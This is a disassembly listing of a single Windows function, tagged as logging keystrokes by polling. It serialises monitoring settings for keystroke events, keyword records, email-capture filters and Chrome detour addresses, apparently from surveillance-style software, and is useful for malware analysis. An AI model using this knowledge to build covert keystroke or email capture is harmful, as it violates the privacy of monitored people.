Function at 0x140026dc0
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov qword [rsp + 0x60], 0xfffffffffffffffe
mov rax, qword [0x1400e44d0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov esi, r9d
mov rdi, r8
mov qword [rsp + 0x48], rdx
mov rbx, rcx
mov qword [rsp + 0x50], rdx
mov r15, qword [rsp + 0x120]
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x38], 1
mov rax, qword [0x1400e4fc0]
mov qword [rsp + 0x30], rax
mov edx, r9d
call fcn.14002b490
test eax, eax
jne 0x140026e44
lea rcx, [rsp + 0x30]
call fcn.140063c20
xor eax, eax
jmp 0x14002789c
lea rdx, str._lst_name_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140063f00
lea rdx, str.__type_
lea rcx, [rsp + 0x30]
call fcn.140063f00
cmp esi, 0x2000
jg 0x140026eda
je 0x140026ed1
cmp esi, 0x1000
je 0x140026eb1
jle case.default.0x140026efd
cmp esi, 0x1003
jle 0x140026ea8
cmp esi, 0x1004
jne case.default.0x140026efd
lea rdx, str.InternalWMRecord
jmp 0x140026eb8
lea rdx, str.ScheduleTime
jmp 0x140026eb8
lea rdx, str.KeywordRecord
lea rcx, [rsp + 0x30]
call fcn.140063f00
lea r12, [0x140000000]
xor r14d, r14d
jmp 0x140026f8c
lea r12, [0x140000000]
jmp case.0x140026efd.8194
lea eax, [rsi - 0x2002]
cmp eax, 0x12
ja case.default.0x140026efd
cdqe
lea r12, [0x140000000]
mov eax, dword [r12 + rax*4 + 0x278c0]
add rax, r12
jmp rax
lea rdx, str.char__
lea rcx, [rsp + 0x30]
call fcn.140063f00
xor r14d, r14d
jmp 0x140026f8c
lea rdx, str.PortRange
lea rcx, [rsp + 0x30]
call fcn.140063f00
xor r14d, r14d
jmp 0x140026f8c
lea rdx, str.KeyEventDef
lea rcx, [rsp + 0x30]
call fcn.140063f00
jmp 0x140026ec9
lea rdx, str.EmailRule
lea rcx, [rsp + 0x30]
call fcn.140063f00
jmp 0x140026ec9
lea rdx, str.EmailLastRecvTime
lea rcx, [rsp + 0x30]
call fcn.140063f00
jmp 0x140026ec9
lea rdx, str.ChromeSigs
lea rcx, [rsp + 0x30]
call fcn.140063f00
jmp case.0x140026efd.8207
lea r12, [0x140000000]
xor r14d, r14d
mov dword [rsp + 0x38], r14d
lea rdx, [0x140096bb4]
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rcx, r15
call fcn.1400625a0
nop
mov rcx, r15
call fcn.140062960
mov r13, rax
test r13, r13
je 0x140027856
mov rcx, r13
call fcn.140062950
mov rdi, rax
test rax, rax
je case.0x140027289.8207
cmp esi, 0x2000
jg 0x14002726d
je case.0x140027289.8194
cmp esi, 0x1000
je 0x14002720e
jle case.0x140027289.8207
cmp esi, 0x1003
jle 0x1400270e7
cmp esi, 0x1004
jne case.0x140027289.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
lea rdx, [0x1400c32e4]
mov rcx, rdi
call fcn.140038150
mov r15, rax
test rax, rax
je 0x1400270cc
mov byte [rax], 0
mov r10, qword [rbx]
mov qword [rsp + 0x20], r14
mov r9, rdi
lea r8, str.Package
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [r10 + 0x130]
mov byte [r15], 0x2c
lea rdx, [0x1400c32e4]
lea rcx, [r15 + 1]
call fcn.140038150
mov rdi, rax
test rax, rax
je 0x1400270cc
mov byte [rax], 0
cmp byte [r15 + 1], 0
je 0x1400270a2
mov r10, qword [rbx]
mov qword [rsp + 0x20], r14
lea r9, [r15 + 1]
lea r8, [0x140097cf0]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [r10 + 0x130]
mov byte [rdi], 0x2c
cmp byte [rdi + 1], 0
je 0x1400270cc
mov rax, qword [rbx]
mov qword [rsp + 0x20], r14
lea r9, [rdi + 1]
lea r8, str.Host
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov r15, qword [rsp + 0x40]
jmp case.0x140027289.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
lea rdx, str._struct_name_Start__type_TimePeriod__
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov r9d, dword [rdi]
and r9d, 0x3f
lea r8, str.Minute
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi]
shr r9d, 6
and r9d, 0x1f
lea r8, str.Hour
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi]
shr r9d, 0xb
and r9d, 7
lea r8, [0x140097c78]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
lea rdx, str._struct_name_Stop__type_TimePeriod__
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
and r9d, 0x3f
lea r8, str.Minute
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
shr r9d, 6
and r9d, 0x1f
lea r8, str.Hour
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
shr r9d, 0xb
and r9d, 7
lea r8, [0x140097c78]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
jmp 0x140027832
mov rdi, qword [rax + 8]
test rdi, rdi
je case.0x140027289.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.WholeWord
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 4]
mov qword [rsp + 0x20], r14
lea r8, [0x140093018]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140027832
lea eax, [rsi - 0x2002]
cmp eax, 0x12
ja case.0x140027289.8207
cdqe
mov ecx, dword [r12 + rax*4 + 0x2790c]
add rcx, r12
jmp rcx
mov rax, qword [rbx]
mov qword [rsp + 0x20], r14
mov r9, rdi
lea r8, [0x1400c2a20]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp case.0x140027289.8207
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.From
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, [0x1400935b0]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov r9d, dword [rdi + 8]
lea r8, str.SelectID
jmp 0x140027821
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.vKey
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.lParam
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rax
mov qword [rsp + 0xa8], rax
lea r8d, [rax + 0x40]
lea rdx, [rsp + 0x70]
mov ecx, dword [rdi + 4]
call qword [sym.imp.USER32.dll_GetKeyNameTextA]
mov rax, qword [rbx]
mov qword [rsp + 0x20], r14
lea r9, [rsp + 0x70]
lea r8, str.Description
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140027832
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov qword [rsp + 0x20], 0x100
mov r9, rdi
lea r8, str.Name
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x100]
lea r8, str.Record
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x104]
lea r8, str.Sent
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x108]
lea r8, str.Received
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x10c]
lea r8, str.SMTPPOP
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x110]
lea r8, str.WebMail
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x114]
lea r8, [0x1400952b4]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x118]
lea r8, str.MAPI
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x11c]
lea r8, str.IMAP
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x124]
lea r8, str.PlainText
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x128]
lea r8, str.HTML
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x12c]
lea r8, [0x140092b04]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x130]
lea r8, [0x140092b10]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x134]
lea r8, str.NoAttachments
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x138]
lea r8, str.AttachmentFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x13c]
lea r8, str.AttachmentFilterSize
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x140]
lea r8, str.ToFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x144]
mov qword [rsp + 0x20], 0x100
lea r8, str.ToFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x244]
lea r8, str.FromFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x248]
mov qword [rsp + 0x20], 0x100
lea r8, str.FromFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x348]
lea r8, str.SubjectFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x34c]
mov qword [rsp + 0x20], 0x100
lea r8, str.SubjectFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x44c]
lea r8, str.BodyFilter
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 0x450]
mov qword [rsp + 0x20], 0x100
lea r8, str.BodyFilterString
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140027832
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.RcvdTimeLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.RcvdTimeHigh
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
lea r9, [rdi + 8]
mov qword [rsp + 0x20], 0x32
lea r8, str.MSG_Owner
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x130]
jmp 0x140027832
lea rdx, str._struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rax, qword [rbx]
mov r9d, dword [rdi]
lea r8, str.ProductVersionMS
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 4]
lea r8, str.ProductVersionLS
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 8]
lea r8, str.NameOffsetFromThis
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x10]
lea r8, str.ShouldDisplayInExtensionSettingsAddressLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x14]
lea r8, str.ShouldDisplayInExtensionSettingsAddressHigh
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov rax, qword [rbx]
mov r9d, dword [rdi + 0x18]
lea r8, str.ToolbarFunctionToDetourAddressLow
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
mov r9d, dword [rdi + 0x1c]
lea r8, str.ToolbarFunctionToDetourAddressHigh
mov rax, qword [rbx]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [rax + 0x128]
lea rdx, str.__struct_
lea rcx, [rsp + 0x30]
call fcn.140063f00
mov rdx, r13
mov rcx, r15
call fcn.1400629c0
mov r13, rax
jmp 0x140026fb1
mov rbx, qword [rsp + 0x48]
jmp 0x140027867
mov rcx, r15
call fcn.140062aa0
lea rdx, str.__lst_
lea rcx, [rsp + 0x30]
call fcn.140063f00
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.140063ea0
nop
lea rcx, [rsp + 0x30]
call fcn.140063c20
mov eax, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.140035b70
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret